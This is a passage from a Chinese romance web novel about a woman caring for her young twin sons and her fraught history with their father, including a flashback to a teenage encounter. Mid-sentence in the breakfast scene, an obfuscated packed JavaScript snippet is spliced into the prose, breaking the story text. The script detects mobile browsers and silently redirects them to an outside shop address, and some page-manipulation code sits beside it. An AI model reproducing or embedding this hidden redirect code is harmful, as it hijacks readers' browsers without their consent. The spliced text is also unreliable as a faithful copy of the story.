她早上七点钟到达,在门口与甄世明的车擦肩而过,甄世明并没有停车,她松了口气,刷脸进入独栋别墅。 她刚进门就遇到第一个棘手的问题——孩子们还在睡觉。 在她的想象中,此时这两个孩子应该早已穿戴整齐排排站等她,她一进门就可以听到那声脆生生的“方阿姨”。 然而她站在空旷的客厅,望着二楼楼梯,有点儿无措。 甄世明的文件里并没有说明孩子们每天的起床时间。如果任由他们睡下去,就会耽误吃早餐,如果叫醒的话,应该采取什么样的方式,打开卧室进去会不会吵醒孩子,或者说制造点儿动静“叫”醒? 小时候她总是被妈妈的拖地声叫醒,她是没有什么烦恼的情绪,但是她的弟弟方楷杰起床后会捶打被窝。 她决定坐在楼下等着。 方楷莹局促地坐在沙发,和鱼缸里的龙鱼对视一眼。 甄世明只说照顾孩子,那龙鱼用不用喂?她捻起鱼食在鱼缸前晃悠,龙鱼好像没有什么反应,但丢进去一点点,龙鱼又懒洋洋地游来吃掉,她越喂越起劲。 手机响起,甄世明的信息。 【鱼喂过了】 方楷莹:…… 她悻悻放下鱼食,走进餐厅,打开冰箱。 文件里写过,记得芯芯喜欢煮鸡蛋,橙橙喜欢煎鸡蛋,于是她打算先把早餐做好再叫孩子起床,折腾了半小时,把三份早餐摆出自认为精致的形状。 上楼叫孩子起床! 文件里并没有告诉她这两个孩子都是起床困难户,她温柔地拍拍孩子肩膀,芯芯扭头换了个姿势睡,她又去拍橙橙,橙橙把被子拉到头顶赖床。 她改变策略,捏小孩的脸。 孩子皮肤娇嫩,摸上去软软弹弹,轻掐腮帮嘴唇就撅起来,像鱼一样可爱。 芯芯的眼睛睁开一条小缝,紧紧抱住方楷莹的胳膊,迷迷糊糊地叫她。 “妈妈。” 方楷莹怔住,呼吸也不敢大声,小孩子闭上眼睛,睫毛微微抖动着,紧抱的手也松开,看上去像睡熟做梦。 狂跳的心很久才平静下来,有一瞬间她甚至以为芯芯已经知道了,但冷静下来想又觉得不可能,甄世明怎么会告诉他,让她如此轻易就和孩子相认。 恨她、拿捏她、折磨她。 甄世明大概乐在其中。 她保持姿势蹲在床边,这样看着芯芯熟睡的小脸,一点儿都不觉得腿酸,芯芯这孩子心思细腻,喜欢女性的亲近,更渴望母爱的关怀,那一声“妈妈”直喊进她的心里。 两个男孩子先后醒来,穿着同款睡衣洗漱,她倚着浴室门,看着两个身高差不多的小孩仔仔细细刷牙,小手捧起水拍在脸上,把毛巾叠得整整齐齐放回原位,一系列动作竟也是出奇一致。 当年她走时,他们还是两个刚出保温箱的婴儿,浑身的青紫刚褪成肉白,手指头像琉璃般光润脆弱,转眼,他们就长成亭亭白竹,结结实实筋骨分明。 方楷莹有一种恍如隔世的感觉。 “方阿姨,我们有早饭吗?”橙橙蹦跳过来问她。 方楷莹的思绪被拉回,她给两个孩子依次涂了儿童保湿霜后满意地摸摸小脸,“有啊,下楼就吃。” 牛奶、鸡蛋、三明治,都凉了。 他们在楼上磨蹭了太久。 方楷莹有点儿尴尬,把牛奶重新加热,转头拿鸡蛋的时候,橙橙已经自己剥壳,风卷残云吃掉了,芯芯还在乖乖等着。 “吃凉的不会闹肚子吧?”方楷莹低声嘀咕。 “不会的,方阿姨。”橙橙抹抹嘴说:“我的肚肚很坚强,但芯芯不行,他没有我坚强,他会放响屁!” 方楷莹和芯芯对视一眼,他有点儿不好意思地低下头,手指掐着手指尖儿。 方楷莹也浅浅笑了。 橙橙扯住方楷莹的袖子搓搓,又脸色严肃地批评她:“方阿姨!我们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816795|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是昨天说好要穿厚衣服来吗?这个季节不能只穿一层,得穿加绒,你怎么不听话呀,我和芯芯不听话爸爸都会打我们屁股!” “啊?”方楷莹低头看自己的亚麻衬衫,“我忘记了,但你爸爸应该…不会打我屁股吧。” 橙橙扬起头,背着手走进衣帽间,看似并不买账,方楷莹看着他的背影,觉得这孩子是有点大人像的。 热牛奶的功夫,橙橙双手举着一件宽大的黑色卫衣走到她面前,“阿姨穿这个,爸爸陪我打篮球穿的衣服。” 小小的孩子一副小大人的模样,语气不容置喙,让方楷莹忍俊不禁。 跟谁学的呢? “阿姨不冷。” “穿。” “这是你爸爸的衣服。” “没关系,穿!” 方楷莹仰头长叹,最终还是拗不过他,当着面把那件球衣穿好,甄世明的衣服她穿起来都有一种松松垮垮的感觉,衣摆盖住大腿,袖子也长,她把袖子一撸展示给橙橙看,小孩看过之后很满意,语重心长地说:“保暖就好。” 方楷莹:“......” 微波炉“叮”一声响,方楷莹和橙橙正在玩儿换衣游戏,她没有听到响声,芯芯也没叫她,自己扶住桌子慢慢滑下去,走到微波炉前伸手要去端牛奶。 “住手!” 方楷莹喝止一声,同时被吓出身冷汗。 她快步走到芯芯身边,握住芯芯的小手仔细查看,幸亏没有碰到热牛奶,她松了口气,按照芯芯的身高来说,这杯热牛奶会烫到手,然后洒在芯芯的脸上。 芯芯被她的斥声吓坏,紧紧攥着衣角,站在原地不敢动。 “芯芯,怎么能不跟大人说就自己端牛奶呢?会烫到你的。”她庆幸自己发现得早,不然不用甄世明要她的命,她自己就要内疚死了。 带孩子怎么这么难啊?! 看得住一个,看不住两个。 “方阿姨,对不起。”芯芯抿起嘴唇,小模样别提多委屈了,“你一直在和橙橙说话…是不是我做了让方阿姨不喜欢我的事?” “没...没有啊,”方楷莹摸摸他的脑袋瓜,不解这话从何说起,“我很喜欢芯芯。” “那为什么不和我说话?”芯芯抬起眼,黑葡萄一般的眼珠里透着黯淡的幽怨。 这种怨怨的眼神,方楷莹不知道看过多少遍,太熟悉了。她本以为芯芯是全然像自己的,现在才发现也有和甄世明相似的一面。 芯芯吃醋了,方楷莹可以确定。 毕竟有曾经的原件作为参考。 她看了看芯芯,又看了看橙橙。 第二个难题出现了,如何对待两个孩子之间的夺爱行为?方楷莹检索自己脑海里的毕生所学,也没能找出一个合适的方案。 就现有条件分析,芯芯心思敏感,橙橙大大咧咧,先对芯芯说最喜欢他,如果橙橙生气了应该也比较好哄。 方楷莹忽然发现自己确实有当渣女的潜质。 她低声和芯芯咬耳朵:“实不相瞒,阿姨最喜欢芯芯,但你不能告诉哥哥,不然哥哥会很伤心的,你想让哥哥伤心吗?” 芯芯低下的头立刻扬起来,像一株饮饱水的植物,机灵的眼睛偷偷瞥向哥哥,抿唇笑得含蓄,同时用力摇了摇头。 果然,橙橙都没有关注他们,只是惦记着爸爸昨晚嘱咐的话。 “爸爸说午饭和晚饭有人来做,我们只需要考虑今天去哪里玩儿就好了,他走之前已经把今天穿的衣服给我们找好了,就放在床头。方阿姨,你会带我们去哪里玩呢?” “嗯...”方楷莹仔细思索一番,深秋季节,外面风光不错,她说:“户外游乐场怎么样?” 两个孩子都兴奋地跳起来,迅速跑上楼换衣服。方楷莹看着孩子活跃奔跑的身影,嘴角上扬,这时候,手机响了一声,甄世明发来微信。 【不要带孩子去户外。】 【除非你想累死。】 第19章【VIP】 第19章 第一次悸动发生的时刻, 方楷莹十七岁。 那个夏天,她即将上大学,举家从南城搬到京市, 无法适应京市烤箱般干热的气候, 旧电扇嗡嗡转动的夜晚,她总是睡不着。 尤其甄世明带着棒球棍出现之后。 方楷杰向她交代所有。 他的女朋友是甄家备受宠爱的小女儿, 父母在国外做生意, 经常不在家,姐姐早年从二楼栏杆摔下,从此坐上轮椅, 全家只有哥哥能管得了她。 他们刚认识, 出于热恋阶段, 方楷杰对甄宝珠的了解很少,听她说最多的就是这个混蛋哥哥。 而方楷莹顺着学校世明楼的捐赠人名字, 查到更多的信息,才知道方楷杰到底闯了多大的祸。 甄家是一个大家族, 根系庞大, 祖辈开国上将,后辈军政商学, 各个领域都有甄家人的身影, 一荣俱荣一损俱损。 有一支是主搞经济的直系, 开放之后随着商业版图扩张,话语权最重, 那就是世明楼的捐赠者, 甄世明和甄宝珠的爸爸。 方楷莹一下午都皱着眉,搜查各种资料,方楷杰在外敲门时, 她正对着大头电脑咬指甲。 走近一看,屏幕里播放的是那一年的阅兵仪式,问:“姐,你怎么又对军事有兴趣了?” 方楷莹看着他无语,难道他看不出屏幕定格的那位老将军长得和甄世明有八分相似? 她把脸深深埋进手心,一闭眼仿佛就看到甄世明那张桀骜不驯的脸,直觉告诉她,这事儿没完,他一定不会善罢甘休。 “姐,今天的事你可千万别告诉妈,”方楷杰特意嘱咐,哪怕刚被人警告威胁过,脸上还挂着傻乎乎的甜蜜,“我们俩是地下恋。” “嗯。”方楷莹愣愣地看着屏幕。 方霞回家之后,两人对视一眼,都做贼心虚地回避妈妈的目光。 “莹莹,晚上我做芙蓉汤,”妈妈放下菜篮子,抖抖手上的小塑料袋,“好不容易买到鸡头米,再给你做个桂花糖水喝。” 方霞刚在京市找了一份入户保洁的工作,这工作说来不轻松,胜在时间自由,晚上可以多陪孩子,即便她的孩子已经要上大学。 走进厨房哗哗啦啦洗菜做饭,这个女人干瘦精干,家务井井有条,把方楷莹的生活料理得很好。 饭菜上桌,方楷莹耷着眼,难得心里装着事儿,说不饿不想吃。妈妈“咦”了一声,转头板着脸问方楷杰,是不是路上给她买了什么零食吃? 方楷杰摇头,余光见方楷莹蔫蔫的,总有种欲言又止的势头,又迅速点头撒谎:“下午陪她去图书馆,吃了一份炸鸡柳。” 方霞戳了戳他的脑门儿,抱怨几句,不应该让她乱吃东西,不卫生不健康什么的。 平淡而朴素的家庭晚餐,方楷莹坐在桌边,筷头没沾一下,对着芙蓉汤走神。 方霞在让方楷莹吃东西这件事上很执着,反反复复地问,方楷莹思绪神游一句都没听进去。 直到方霞把勺子递进方楷莹手心,她推拒一下,就这样一个小动作,打破了看似和谐的氛围。 “有没有良心啊你们俩!”方霞的好脸色转眼消散得一干二净,开始摔打碗筷,“我好吃好喝伺候着,你们两个白眼狼,我这些年是为了谁啊,谁愿意天天做饭啊?要不是那个死鬼当年” 方楷莹扶额,方楷杰叹气,那套词姐弟俩能背下来。 这样的变脸隔几天就上演,大多是因为方楷莹,只要一点点偏离妈妈指挥的方向,哪怕是今天的粥没喝,洗好的水果没吃,方霞就会疯狂。 在妈妈声泪俱下,控诉到“狐狸精一勾就走”时,方楷莹皱着眉头把那碗不想喝的汤大口大口咽下。 消停了,清静了- 那天晚上方楷莹做梦,梦到甄世明挥过来的棒球棍,她从床上惊醒,发梢被颈窝的细汗浸湿,一骨碌起身,赤脚从床下翻出落灰的情绪手册。 落灰纸张发出薄脆的声响,陌生城市的热风穿过窗缝吹在脸上,少女弓坐在单人小床,背靠微凉的墙壁,在月色中写下心事。 【害怕——甄世明】- 睡不着,她干脆整晚没睡,在小卧室画了一夜图纸,第二天拿着图纸去最近的电子工厂,第三天她把一块新手表戴在方楷杰手腕上。 没过几天,方楷杰偷偷出去约会。 回到家,青涩帅气的脸上多了几处淤青,方楷杰一直隐瞒,找各种借口应付妈妈的询问和关心,方楷莹就坐在旁边,面无表情地看着方楷杰撒谎的表情,在他睡觉时拿走床头摘下的手表。 那个年代,苹果刚出了可穿戴设备的概念,执法记录仪刚开始在公安系统普及,她在网上看过,二者结合,自己画图,去电子工厂拿了几个配件,做了个不太精细的。 那块手表录下了方楷杰的受伤过程,她仔细看过一遍,图像清晰,声音也没有失真,能够证明揍人的是甄世明,但却听不懂甄世明说的狠话。 “你敢把这玩意儿用在我妹妹身上,我就把它用在你姐姐身上。” 这句话让她困惑,模模糊糊感觉方楷杰也做错了什么事,才引得对方愤怒,所以她没有擅自报警,而是找到甄厉海名下某家公司的招聘邮箱,将视频发送出去,静静祈祷有人能看到并且重视。 大公司效率快,方楷莹当天就接到电话,对面的中年男人很客气地问她想要什么? “我想要叔叔管好自己的孩子,让我弟弟不再受伤害。” 对面听着她明显稚嫩的声音,静默了一会儿,方楷莹最终得到模棱两可的答复。 “您的诉求我会向甄总转达。”- 隔天是个艳阳天,下午方楷莹搬着凳子下楼,坐在一棵小树下,手里拿一把梳子,把刚洗好的头发梳通晒干。 有研究表明多晒太阳可以加速合成维生素D,提高免疫能力,最重要的是能优化睡眠,她看过,她照做。 仰着头闭目,脑袋里还在想那大人是什么意思,为什么不关心她弟弟的伤势,反而问她想要什么? 再睁开眼,甄世明站在她面前。 太阳光轻绒绒地落在他肩上,但他整个人看起来一点儿都不柔和,凶巴巴的眼神让她的心慌成一团。 没人会呆愣着和危险对话,方楷莹拔腿就跑,跌跌撞撞跑到四楼,迅速把门锁好,在门内喘着大气。纵然她对情绪感知迟钝,但甄世明眼里的凶光却像要把她烧出个洞来。 傻子才看不出来。 脚步声接近,不紧不慢,每一步都重踏在她心口,最后在她家门前停住,方楷莹的手微微颤抖,人贴着门板深深呼吸。 门板隔音很差,甄世明打电话的声音听得一清二楚, “我家门坏了,你们有拆除服务是吧?地址是” 门缓缓向他拉开一道小缝,老式锁链还挂在门内,方楷莹探出一窄条惨白的脸和黑白分明的眼睛,怯怯地看着他。 “开门还是拆门,你自己选。”他没耐心,电话保持接通,等着方楷莹乖乖开门。 “我、我会报警的。”她声音都在抖。 门外那人只是浅笑了下,伴随着一声轻轻的哼声,对着电话继续讲:“地址是安福东路” 方楷莹心都要从胸腔里跳出来,难以想象妈妈看到被拆掉的门是什么反应,她摘下锁链,把门打开更大的缝儿,并且很轻易就出卖了弟弟,“方楷杰不在家。” “不找他,我找你。”甄世明挂掉电话,一把拉开门,方楷莹还握着门把,被突如其来的动作弄得踉跄前扑,他侧身躲了,好像非常嫌弃被她碰到。 甄世明手里拎着凳子,大摇大摆进门,方楷莹缩着肩膀,平视之下只能看到他的喉结。 甄家的规矩,谁闯祸谁解决。方楷莹发出的邮件止于甄厉海的秘书处,甄世明是过来善后的。 如同入室的劫匪,甄世明径直走进她的小卧室,用目光搜寻想要找到的东西,她伸臂去拦也毫无用处。 “你不能进我的卧室!” “这是女孩的卧室?” 他眉尖挑起,实在不像,又环视一圈,房间虽然干净整洁,但一个毛绒玩具和花瓶装饰都没有,书桌上摆着各种模型和机械类的书籍,窄小的床铺着蓝白格子床单,让人很容易就陷入“这个是一个男孩卧室”的误区。 甄世明俯视着又怂又气鼓鼓的少女, “你弟弟的卧室在哪儿?或者,你直接把那东西交出来。” “什么东西?”方楷莹被他盯得心里发毛,摇晃脑袋装作听不懂。 甄世明逼近,她向后退,退到无可退,脚脖子磕到床脚,一屁股坐在床沿。 她需要大幅度仰头才能看到乜笑的唇角,甄世明低垂着眼,问:“用的是什么?录音笔还是手机?” 方楷莹吞了下口水,心虚地将手腕藏于后背,这一动作被甄世明收进眼底。 真是个笨蛋。 甄世明想。 他不耐烦地抓紧方楷莹手臂,蛮横地拉向自己。 她的皮肤摸上去像一块冷玉,第一次触碰的时候,甄世明神思游离了一秒钟,本该先看到那块其貌不扬的手表,目光却不由自主地注视着白细手腕下淡青色的血管。 想多看一会儿来着,怎奈方楷莹扑腾着反抗,像只聒噪的小鸡仔,甄世明心一狠,反拧了她的手腕,三下五除二就摘了那只表。 后来方楷莹才知道甄世明学过几年散打,已经手下留情了。 当时她疼得吱哇乱叫,眉心都拧在一起,甄世明置之不理,注意力都凝在那块手表上。 虽然已经过了玩儿表的年纪,但他依然好奇,世界名表都在家里,但这只手表他没见过,表盘连个商标都没有。 “哪儿来的?”手指敲敲表盘,表盘突然亮起来,自动打开隐藏摄像头的录制功能。 “还给我!”方楷莹伸手去夺,甄世明恶劣地抬手,仗着身高优势让她蹦起来都难以够着。 “女孩子家,叫唤什么?”甄世明不耐烦,这一嗓子把专注研究手表的他好好吓了一跳。 他从小身边女孩儿多,看他的时候都是笑盈盈的,讲话也温柔娇羞,像这样瞪着眼睛大声吼他的倒是头一次见。 “方楷莹。” “嗯?” 她止住不停向上够探的动作,纳罕眼前这人竟然知道她的名字。殊不知甄世明早就做过背景调查,家里几口人能吃几碗饭都了如指掌。 “这东西哪儿来的?”他修长白净的手指勾着表链问。 “这是我做的手工。”她又试图夺了一下,又被甄世明闪开,表情虽然不耐烦,但他眼睛里有属于聪明人的亮光,动作也灵活,倒显得她有点儿蠢笨。 甄世明眯眼打量一下,似乎在评估这句话的真假,“你现在做一个我看看。” 方楷莹抱着手臂,又一屁股坐在床边,八风不动,赌气似的,把甄世明看笑了。 “张嘴就来?”他弯下腰看着她,讽道:“你这姑娘和你弟弟一个样,眉清目秀看着挺老实,其实——” 话没说完,方楷莹就推开他,拿出书柜里的设计图纸,外形设计手稿、电子线路图,她还手写了说明书,归拢归拢一股脑扔在甄世明面前。 厚厚一沓纸,瓷瓷实实一声响。 她气呼呼地看着甄世明,“我做不了,是因为我没钱买那么多配件。” 甄世明先是一愣,翘着唇角笑起来,“没钱就没钱,理直气壮的。” 方楷莹白他一眼,把头扭开,甄世明捧起那一厚摞,端坐在书桌前,在夏日阳光下慢慢翻阅她的手稿,每一页都翻得很慢。 二十岁的年轻人,有了一丝成熟的男人气,筋骨挺拔,肩膀能占满整个书桌,手臂修长,嵌着薄薄的肌肉,阳光一照,深棕色头发泛着健康的光泽,微微低头,后脑勺的弧度都完美。 看着是个特别美好的男人。 就是嘴闲得很。 “这么说你是个天才?”他问。 “可以这么说。”方楷莹毫不客气。 “申请过专利吗?” “没有。” “那你还是个笨蛋。” 方楷莹抬眼瞪他,却被一双带笑的眼睛纳入瞳中,她承认甄世明笑起来很好看,虽然有种坏坏的、不着调的感觉,但还是让她看着出神,刚刚绞尽脑汁想到回怼的话,也瞬间忘了个一干二净,整个人五迷三道,脑袋瓜七荤八素。 甄世明一边坏笑,一边从口袋里掏出个东西,薄薄一片,轻轻一丢,漂亮的抛物线在明亮处成形,最终落在她怀里。 方楷莹懵懵懂懂地捧在手心,皱着眉头仔细观瞧,而甄世明根本不遮掩地观察她的表情,以至于方楷莹这样钝拙的人也能感觉到有目光直线投射。 “这是从甄宝珠书包里翻出来的,现在你知道我为什么要跟方楷杰动手了吗?”甄世明想起来都恨疯了,牙根咬得紧紧的,“没打死他算小流氓命大。” 方楷莹抿抿唇,撩起一双清澈单纯的眼睛,真诚地问:“这是什么?” 甄世明:“嗯?” 方楷莹懵懵懂懂,这东西是个没见过的新奇事物,少不经事的她用手指划着避孕套包装的棱棱边角,眼睛里闪烁着求知二字。 甄世明这么不要脸的人,脸红了。 他舔舔嘴唇,那三个字像烫嘴似的,说不出来,最后用另外三个字代替了。 “你多大?”他问。 “十七。”她答。 话音刚落,甄世明迅速从她手里抢回那玩意儿,重新塞回口袋里,假装无事发生。方楷莹都没反应过来,只觉得他的手指在掌心擦了一下,手心便开始莫名其妙地发热。 气氛突然有些尴尬。 “我妹妹今年十六。” “?” 他没头没尾地说了一句,方楷莹并不能理解。甄世明的手指尖儿敲着椅子,烦躁得出了汗,试图找个方式来跟她说明白,欲言又止几次,彻底没话了。 “我真服了。” “反正你得把视频删掉。” 今天来就是为了这个,不能让视频流出外面,不管是对于他还是对于甄家都会产生很不利的影响。 “我不会删的!”方楷莹鼓起勇气和他对峙,并发出弱弱的威胁:“你再打我弟弟,我就报警让警察抓你。” “来劲是吧?”甄世明呵笑一声,又变了脸:“谁抓谁?我他妈都没报警呢,你还报警。” 方楷莹沉默了很久,手指反复扣着床单,眼睫毛垂下,眼珠子动来动去,最后嘴唇翕动低声说:“你别讲脏话。” 甄世明:“” 方楷莹看了眼墙上的挂钟,方霞入户是下午走的,这会儿应该要回家了,如果她回来碰到甄世明,方楷杰谈恋爱的事儿就会暴露,而她的妈妈会有什么样的反应,她不敢想。 “你快走吧,我妈要回来了。”方楷莹突然有点儿着急,一股脑便把实话都吐出来:“我妈看见你,我没法解释,方楷杰说他们是地下恋,别人不能知道的。” 她越急,甄世明反而越无赖。 张开手臂干脆躺在她的小床上,床有点儿小伸不开腿,也有点儿硬碾着后背,但床品附着香味,和方楷莹在楼下晾头发散发的香味同源,夏夜微风吹过花草深处的淡淡香气,闻着让他有点儿困倦。 任她怎么拉拽,都稳如老狗。 “信不信,你不删视频,我今天就睡在这儿,阿姨什么时候回来?请把我的晚饭也做一下。” “够文明吧?” 他拿捏住方楷莹的七寸,偏头侧脸贴着枕巾,平缓地呼吸。 老旧钟表的走针声格外清晰,甄世明的手指跟着这声音轻叩床沿,敲得方楷莹心烦意乱、紧紧咬牙,却拿他没有办法。 最后只能语气软软地请求:“你快走吧,我会删掉视频的。” 这个说法甄世明还是比较满意的,他翻身坐起来,后背贴靠着微凉的墙壁,长腿交叠杵在地上,标准的京瘫,“我看着你删。” 他看着方楷莹熟练地操作自己的手表,细手指微微颤着,在小小的屏幕跃动,找到视频。 担心她唬人,甄世明凑近了点儿看着,屏幕太小,两个人都没发现肩膀越凑越近,几乎脸挨着脸。 方楷莹感觉热热的微风吹动发梢,余光看到挺立的鼻梁和长密的眼睫,才知道那是他的呼吸。忽然手抖了下,怎么也按不下删除键。 甄世明发现屏幕不动,细手指却在抖,皱眉扭脸,呼吸轻轻吹过她的唇角,女孩的喉咙动了一下,锁骨中心就陷进去,如同一个漂亮的漩涡。 两个呼吸轻轻交缠。 两个年轻的人一起脸红。 他定看着她,方楷莹先避开身子躲远肩膀。她不知道自己怎么了,只是觉得心脏跳动得太快,难受。 很多年之后,方楷莹依然能回想起这个午后,她把生平第一次心动,误认为太热的夏天。 这个夏天却一直存在记忆里,后来天渐凉,风渐冷,窗外的蝉鸣声渐远,耳边只剩手臂蹭在羽绒被的嘶嘶声响。 甄世明依然紧握着她的手。 她不知道拿他怎么办,想着也许应该出去打给医生询问,起身要走,他却把手拉得更紧。 “别走。”三十岁的甄世明在病梦中喃语,拖着病哑的声线,“别走好吗?” 一时不知道在向五年前的方楷莹请求,还是向现在的方楷莹请求,她只觉得心像是熟烂的桃子,一摁一个凹陷。 甄世明无力,手缓缓下坠,摸到比手更冰凉的订婚戒指,那圆形戒圈的棱角反复刮磨皮肤,让他觉得有点儿痛。 最后他闭上眼睛,缓缓放手,翻身背对着方楷莹,偷偷流出的眼泪顺着太阳穴滚进枕头。 方楷莹走出房间,靠在门上恍惚。 他们很年轻的时候就在一起,彼此纠缠这么多年,她有时觉得他很好,有时觉得他太坏了,有时喜欢他,有时又恨他,感情好的时候恨不能合葬,吵起架来又想将对方抛尸。 这么一个人,一举一动牵绊着她的情绪,也让她奉献出最丰富的感情,他可能并不合适共度余生,但却是她人生中独一份的。 在这样一个夜晚,她不能不管他。 方楷莹走出卧室,走到窗边,吹着冷风拨通电话。 电话那头是她的博士同门,整个课题组里少数的华裔,方楷莹刚去时安妮正在寻找新室友,就此便一起住了几年,她记得安妮的男朋友是医生。 虽然这边是深夜,那边是清晨,但她回国后就和那边很少联系,这样突然拨一通电话过去,自己也觉得不好意思。 “莹莹,你好吗?”安妮转到视频模式,向方楷莹展示刚做过美黑的皮肤,一边刷牙一边抱怨:“你怎么回国像消失了似的?” “好,”方楷莹简单回答,就直奔主题:“你男朋友在吗?我有些事情想咨询。” 安妮咬着牙刷,噘嘴不满道:“怎么回事啊你?一打电话就问我男朋友。” “我…我这边有紧急情况。” “可是他刚上完夜班。” “哦,那、那就算了。”方楷莹想挂断电话,又不知道这通电话挂断该向谁求助,忽然变得犹犹豫豫。 “你等等!”安妮算是了解方楷莹,她们在一起住了三年,方楷莹求助的次数一只手就能数得过来,现在一定是不得已才求助于她。 她闯进卧室,跳在床上掀开被子,男朋友还裸露着健美的半身,安妮倒是很大方,直接把摄像头对准男人的胸肌。 方楷莹闭了闭眼。 “hey!baby!say hello! ”安妮笑着闹他。 “ugh,Im burnt out——”大卫眼睛一睁,在手机屏幕里看到方楷莹愁眉苦脸的样子,瞬间清醒过来,拉上被子把自己捂得严严实实,“WTF?!” 他有点儿怕方楷莹。 方楷莹与安妮最开始做室友的时候,他就看方楷莹不顺眼,觉得这女人漂亮是漂亮,但性格有缺陷。不开口的时候你以为她只是清高,一开口说话能把你气个半死。 某个午后,他和安妮在卧室亲热,刚进入状态,方楷莹就在外面梆梆凿门。安妮想要穿好衣服出门道歉,他却恼火,抢先光着身子给方楷莹开门,想要吓吓这个不懂情趣的书呆子。 怎料一开门,她就举着手机,把摄像头对准他,让人躲避不及。 方楷莹衣着整齐,戴方框眼睛,低马尾扎得一丝不苟,看着多么文静,她缓缓摘下耳塞,眼光上下扫过,脸不红心不跳。 “你叫.床的声音极其难听,像野猪的哼声,如果你再发出那样的声音,我发誓会用猎枪射杀你。” 大卫被这一番威胁震惊得说不出话,方楷莹也没理他,而是用中文向躲在门后的安妮喊:“你吃点儿好的吧!” 头发甩甩,大步走开。 世界也安静下来。 门背后,一对恋人看着彼此。 “baby,她最后一句说的什么?”大卫问。 “她、她问我是不是饿了。”安妮答。 “我的声音真的很难听吗?” “呃,有进步的空间” 至此之后,大卫伤了自尊,也怕方楷莹,总觉得她的眼神像猎枪黑洞洞的枪口。很长一段时间他都患上了方楷莹PTSD,但安妮并没介怀,经这么一闹,她得到了真正的实惠——大卫开始有意改正叫声。 只是他现在看到方楷莹还有点儿应激。 “别紧张,冷静下来。”方楷莹冷淡地说:“我想问你,如果一个三十岁的男性,天生体温很高,长时间高烧不退,药也吃过了没作用,还有什么方法可以快速安全的降温?” 虽然不情不愿,但大卫还有职业道德,撇撇嘴说:“物理降温,冰袋冷敷,温水擦身,酒精擦拭,记得补充电解质和维生素C,如果出现呼吸困难和持续呕吐,记得去医院。” 方楷莹认真点头,“记住了,谢谢。” 安妮一直在旁边看着,方楷莹细眉微拢脸上写满担忧,她刚要插话问问是不是汪先生病了,电话就被方楷莹挂断。 安妮、大卫:“”- 甄世明拖着病躯黯然神伤,迷糊一会儿清醒一会儿,以为方楷莹真走了,他咬了咬唇,齿尖磨过唇面那处伤痕,让自己短暂清醒,伸手去够床头的水,却碰到冰凉的玉一般的皮肤。 他以为发烧出现幻觉,缓睁开眼,方楷莹拿着两个冰袋站在他面前。 “喝这个,电解质水。” 甄世明目光怔怔,看了她很久。 方楷莹又把水往前递递,突然发现他眼睛里润润的,心里想着这可不得了,怎么把人烧哭了呢? “你哭啦?”她直愣愣地问。 “你找死呢?”甄世明把水一推。 方楷莹撇撇嘴,明明就是刚哭过,她又不是没见过,甄橙和甄芯出生的时候,他哭得稀里哗啦,也是这样鼻头红红眼圈红红。 “我不找死,你要是再烧下去就离死不远了。”她承认自己担忧,但总不会表达。 她把冰袋贴在他的颈动脉,又跑到楼下多拿几个冰袋,分别放在两侧腋下,弯腰越过半身,发梢无意扫过男人发烫的脸颊和胸口,再撩起被子准备把冰袋放进大腿根的时候,甄世明猛地按住手腕,不让她放了。 “怎么了?”她问。 甄世明闭眼无语,缓缓调整呼吸。方楷莹目光下移,轻薄羽绒被下拱起山丘,脸腾一下红了。 “发着烧你也能?” “不想试39度的就别问。” 方楷莹明明攥着冰袋,却感觉脸上热腾腾的,把冰袋扔他怀里,“你自己弄吧。” 甄世明目光幽深,轻扯干燥的唇角笑笑,这五年来,哪次不是自己弄? “我想吃点儿冰激凌,拿小木勺喂的那种。”他哑着嗓子指使她,好不容易能有这样的机会,甄世明才不会错过。 方楷莹一直背对着他,听到这要求特意转头横他一眼,还是去冰箱里拿了冰激凌,顺便在药箱里找到儿童用维生素C。 这么一翻,才发现药箱里都是儿童用药,孩子的退烧药、镇咳药、消炎药,甄橙和甄芯这几年恐怕没少生病。 她唇角下弯,关上药箱也是沉重的一声。 上楼后,她把冰激凌放在甄世明的额头,掰出几粒药塞进他的嘴里,酸不拉几吃得甄世明直皱眉,她再次递上水,甄世明这次乖乖接来喝。 “小木勺呢?”甄世明拿下头顶的冰激凌,将将坐起身靠着床头软垫,全身还是发软,两颊也是潮红,本就细腻的皮肤一发热更通透,给人一种很好欺负的错觉。 方楷莹木头木脑站在床边,蔫儿着发坏:“没有小木勺,你可以狗舔着吃。” 一个被窝睡不出两种人,方楷莹这些年不仅跟甄世明习得一身不好招惹的气质,还学了不少刻薄言语,首先就用在大卫身上,之后回旋镖也扎到甄世明的身上。 甄世明倒也淡定,哼了一声,看向方楷莹,“舔呗,我也不是没舔过。” 两人对视一眼。 方楷莹的脸比39度的甄世明还烫,“我看你好了,我走了!” 甄世明眉棱微压,不知道为什么突然心里有一股火气,可能是听到方楷莹又说“走”。 “大半夜走哪儿去?去睡客房。我现在这样,不能把你怎么样。” 方楷莹抬腕看表,已经过了凌晨,山顶别墅好是好,但后半夜可比寂静岭。 她犹豫着,甄世明不紧不慢撕开冰激凌包装,拆开包装下的木勺,把凉甜的冰激凌送进嘴里。 现在他知道要说什么才能把方楷莹拿捏住,唇角一弯,漫不经心地说:“明天早上我好不了,你儿子就得饿着,要不给孩子改名叫甄可怜得了?” 明知他不会让孩子饿着,但方楷莹还是放心不下,最后懑懑地扔下一句“记得再量体温”。 走出甄世明的卧室,转头进去隔壁客房。豪宅的客房也别有天地,法式吊灯优雅夺目,实木床桌尽显奢华,洛神玫瑰在床头盛放,简直是公主的卧房。 方楷莹坐在床上发呆好久,早就心里发过誓再也不和甄世明纠缠,她现在又在做什么? 再拿出手机,几个未接来电都是安妮的,打算回拨,安妮又打来。 方楷莹在视频电话里看到自己的样子,脸红红的,摸上去发烫,但她心里不承认是因为想起从前床事,坚决告诉自己是被甄世明传染感冒了。 电话一接通,安妮就从视频里看到方楷莹身处的环境,不由“哇”了一声。 